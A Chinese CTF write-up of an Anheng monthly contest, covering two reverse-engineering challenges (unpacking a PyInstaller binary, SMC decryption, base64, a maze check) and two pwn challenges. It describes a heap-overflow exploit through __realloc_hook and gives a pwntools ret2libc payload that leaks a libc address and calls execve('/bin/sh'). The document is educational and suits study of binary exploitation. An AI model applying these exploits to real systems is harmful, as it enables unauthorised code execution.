好久没打安恒的月赛了,碰巧今天有空,就做了下二进制的几道题目,总体难度不是很大,还好没有触及到我的知识盲区Orz。
这题给了2个文件,一个exe
和一个pyc
,结合图标和题目意思,我好像明白了什么,估计是python
的逆向题。
以前也做过这种类型的题,但是很久没做,有点生疏了,主要是要知道这个程序是python
写的,并且用打包器制作成可执行文件的。直接上网搜索python
打包器就能找到这个工具的名字叫做PyInstaller
,根据Pcat的博客描述,我们可以使用PyInstaller Extractor
来提取可执行文件的资源内容。这个脚本网上也很容易能下载。
需要注意的是,当我们开始提取文件的时候,需要和编写的python
的程序版本一致,由于我本机只有python2
的环境,提取资源的时候,就会发生错误,如下图所示。
由于PyInstaller Extractor
兼容python2
和3
,在python3
环境下即可提取资源进行逆向分析。这样我们就能提取到一堆文件了,如下表所示。
_bz2.pyd*
_hashlib.pyd*
_lzma.pyd*
_socket.pyd*
_ssl.pyd*
AnhengRe
AnhengRe.exe.manifest
api-ms-win-core-console-l1-1-0.dll*
api-ms-win-core-datetime-l1-1-0.dll*
api-ms-win-core-debug-l1-1-0.dll*
api-ms-win-core-errorhandling-l1-1-0.dll*
api-ms-win-core-file-l1-1-0.dll*
api-ms-win-core-file-l1-2-0.dll*
api-ms-win-core-file-l2-1-0.dll*
api-ms-win-core-handle-l1-1-0.dll*
api-ms-win-core-heap-l1-1-0.dll*
api-ms-win-core-interlocked-l1-1-0.dll*
api-ms-win-core-libraryloader-l1-1-0.dll*
api-ms-win-core-localization-l1-2-0.dll*
api-ms-win-core-memory-l1-1-0.dll*
api-ms-win-core-namedpipe-l1-1-0.dll*
api-ms-win-core-processenvironment-l1-1-0.dll*
api-ms-win-core-processthreads-l1-1-0.dll*
api-ms-win-core-processthreads-l1-1-1.dll*
api-ms-win-core-profile-l1-1-0.dll*
api-ms-win-core-rtlsupport-l1-1-0.dll*
api-ms-win-core-string-l1-1-0.dll*
api-ms-win-core-synch-l1-1-0.dll*
api-ms-win-core-synch-l1-2-0.dll*
api-ms-win-core-sysinfo-l1-1-0.dll*
api-ms-win-core-timezone-l1-1-0.dll*
api-ms-win-core-util-l1-1-0.dll*
api-ms-win-crt-conio-l1-1-0.dll*
api-ms-win-crt-convert-l1-1-0.dll*
api-ms-win-crt-environment-l1-1-0.dll*
api-ms-win-crt-filesystem-l1-1-0.dll*
api-ms-win-crt-heap-l1-1-0.dll*
api-ms-win-crt-locale-l1-1-0.dll*
api-ms-win-crt-math-l1-1-0.dll*
api-ms-win-crt-process-l1-1-0.dll*
api-ms-win-crt-runtime-l1-1-0.dll*
api-ms-win-crt-stdio-l1-1-0.dll*
api-ms-win-crt-string-l1-1-0.dll*
api-ms-win-crt-time-l1-1-0.dll*
api-ms-win-crt-utility-l1-1-0.dll*
base_library.zip
out00-PYZ.pyz
out00-PYZ.pyz_extracted/
pyexpat.pyd*
pyiboot01_bootstrap
pyimod01_os_path
pyimod02_archive
pyimod03_importers
'pyi-windows-manifest-filename AnhengRe.exe.manifest'
python36.dll*
select.pyd*
struct
ucrtbase.dll*
unicodedata.pyd*
VCRUNTIME140.dll*
那么接下来我们需要知道哪些是外部的库函数,哪些是程序本身的部分。那么很明显,dll
都是windows
下的动态链接库,而pyd
也是python
的动态链接库(python dll
),除去这些文件和一些清单文件外,再结合文件名,很容易就能找到AnhengRe
这个文件,应该就是我们所需要的。
接下来这一步就是分析这个文件是什么格式。一般的思路就是通过file
命令或者binwalk
进行解析,再或者通过strings
来查看字符串。如下所示。
$ file AnhengRe
AnhengRe: data
$ strings AnhengRe
Tell me your name?z
Tell me your pasw
9f1ff1e8b5b91110
c4e21c11a2412
wrong
AnHeng
Congratulations
flag
pause
flag{
no,)
input
range
print
system
AnhengRe.py
<module>
从我自己角度来说,我立马判断这就是一个pyc
程序了,因为这些字符串特征很明显,没有加密混淆,也出现了AnhengRe.py
和module
这样的字样。但是用010editor
分析后发现文件头不满足pyc
的格式,于是我猜想头部数据被修改了。经过多次实验和对比,最终发现头部的12字节被剔除了。然后进行补齐即可,忽略时间戳。
33 0D 0D 0A 00 00 00 00 00 00 00 00
最后我们即可通过uncompyle6
等反编译工具来获得python
的源码,得到源码如下:
#!/usr/bin/env python
# encoding: utf-8
import os
n1 = input('Tell me your name?')
n2 = input('Tell me your pasw')
n11 = chr(ord(n1[0]) + 12)
s = ''
st3 = '51e'
st2 = '9f1ff1e8b5b91110'
st1 = 'c4e21c11a2412'
st0 = 'wrong'
if n11 + 'AnHeng' == n2:
for i in range(0, 4):
s += st1[3 - i]
print('Congratulations')
ts = st2[0] + st3 + st2[1] + s
print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
os.system('pause')
else:
print('no,' + st0)
这段代码再简单也不为过了,直接将判断条件删除再运行即可获得flag。
逆向第二题,本来看题目我以为是驱动题,但实际不是。主函数逻辑如下:
首先对输入长度进行检测,很容易判断是40,然后进行了一段smc
,即self-modify-code
,自修改代码,也是比较常见的样式,即常量异或。这段smc
用于解密一段函数,这个函数在最后的比较中是有用到的。接下来将输入前5字节和flag{
对比,没什么好说的,最后进入sub4010b0
这个函数中。其中主函数中的smc
解密脚本如下(idapython
):
addr = 0x401000
for i in xrange(0x401260-addr):
PatchByte(addr+i, Byte(addr+i) ^ 0xbb)
第二个check
逻辑如下:
v3 = byte_4021B8;
do
{
v4 = (unsigned __int8)*v3++;
if ( ((char)a2[v2] ^ 0x86) != v4 )
LABEL_12:
exit(0);
++v2;
}
也是一个比较常见的密文比较,对应的解密脚本如下:
addr = 0x4021b8
flag = "flag{"
for i in xrange(6):
flag += chr(Byte(addr+i) ^ 0x86)
然后进入第三个check
逻辑中,如下图所示:
熟悉base64
编码的同学一般能一眼看出来这段算法,就是一个正常的base64
编码,编码表没任何变化,要想快速识别base64
算法需要对该算法比较熟悉。首先是3×8=4×6
,即3个8bit的字符转换成4个6bit的字符,然后查表,每一组分成4份,每一份分别是每一组的高6bit,次高6bit,次底6bit和最低的6bit。还不熟悉的同学可以自己编程,再逆向分析其实现。所以这段算法对应的解密脚本如下:
flag += b64decode("c19zbWNf")
然后进入最后一个check
逻辑中,如下图所示。
首先定义了一段奇怪的字符串,然后载入输入的后半段,然后进入一个switch
语句中,循环检测,最后判断是否是#,且循环中每一步的下标对应的字符只能是空格,否则就失败。所以这就是一个迷宫算法了,迷宫的入口点是在字符串偏移8
的位置上,也就是g
所处的位置,然后2aqw
分别代表上下左右
进行移动。
g + +
+ + ++ +
+ + #+ +
+ ++++ +
+ ++++ +
+ +
由于这个迷宫很小,所以我们很容易就能得到答案了,最后我们再将几个部分练起来即可得到整个的flag。
pwn第一个题主要堆上的问题,首先主函数有4个功能,分别是create
、edit
、delete
和exit
,如下图所示,常见的清单型pwn题。
关键的漏洞主要是由于在edit过程中,没有对分配的块大小进行检测,如果重新设置的大小比原来的大,会导致堆溢出的情况发生。由于程序中开启了所有的保护,比较常见的方式是通过hook
来进行漏洞利用,那么我们首先要泄露出libc
的基地址。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
那么在这个程序中我们的确是能泄露出libc
的基地址的,如下图所示。
由于write
函数设置了固定长度的输入,而堆块上也会存在libc
的地址,通过泄露该地址,我们就能拿到libc
的地址,绕过保护,代码如下:
libc = ELF('libc.so.6')
realloc_hook = libc.symbols['__realloc_hook']
libc.address = delete(3) - realloc_hook - 240
然后我们将堆块的地址指向hook
函数的自动,进一步再将hook
指向system
的地址,最后调用realloc
即可getshell
。
这个题的漏洞主要是栈缓冲区溢出,如下图所示,读取字节过长导致栈溢出,所以能够劫持控制流。
那么这个题方法有很多,由于没有canary
检测,无论是stack pivot
来进行栈迁移执行shellcode
还是传统的ret2libc
都行,需要注意的是这里程序中有个随机值异或的过程,最简单的方式就是控制strlen
的返回值来防止后续字节被修改。
我自己还是通过ret2libc
来实现的,通过puts
函数来打印出got
表项的地址,然后计算出偏移量,返回到主函数再进行一次栈溢出,返回到system
或execve
即可getshell
。
s.recv()
payload = flat([cyclic(48),0, elf.plt['puts'], 0x8048480, elf.got['puts']])
s.send(payload)
puts_addr = u32(s.recvuntil("xf7").ljust(4, 'x00'))
log.success("puts_addr -> {:#x}".format(puts_addr))
s.recv()
libc.address = puts_addr - libc.symbols['puts']
log.success("libc.address -> {:#x}".format(libc.address))
payload = flat([cyclic(48),0, libc.symbols['execve'], 0x8048480,next(libc.search("/bin/sh")),0,0])
s.send(payload)
#s.recv()
s.interactive()